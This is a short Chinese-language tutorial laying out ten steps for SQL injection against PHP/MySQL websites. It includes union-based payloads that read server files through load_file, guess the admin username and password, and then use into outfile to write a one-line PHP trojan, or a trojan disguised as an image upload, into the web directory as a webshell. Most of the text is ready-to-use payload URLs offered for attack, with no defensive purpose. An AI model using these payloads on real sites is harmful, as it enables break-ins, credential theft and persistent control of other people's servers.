php注入十点基本步骤
1.判断是否存在注入,加';and 1=1;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6. 如果返回正常,则可以通过and 1=2 union select
1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /*
注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。
=============================================
1:system_user() 系统用户名
2:user() 用户名
3:current_user() 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统
===============================================
※into outfile的高级应用
要使用into outfile将一句话代码写到web目录取得WEBSHELL
需要满足3大先天条件
1.知道物理路径(into outfile '物理路径') 这样才能写对目录
2.能够使用union (也就是说需要MYSQL3以上的版本)
3.对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)
4就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
5.windows系统下一般都有读写权限,LINUX/UNIX下一般都是rwxr-xr-x 也就是说组跟其他用户都没有权限写入操作。
但环境满足以上条件那么我们可以写一句话代码进去。
例如:
http://www.123.com/123.php?id=123 union select
1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile
'd:\web\90team.php'/*
还有一个办法是假如网站可以上传图片,可以将木马改成图片的格式上传,找出图片的绝对路径在通过into outfile导出为PHP文件。
代码:
http://www.123.com/123.php?id=123 union select
1,2,3,load_file(d:\web\logo123.jpg),5,6,7,8,9,10,7 into outfile
'd:\web\90team.php'/*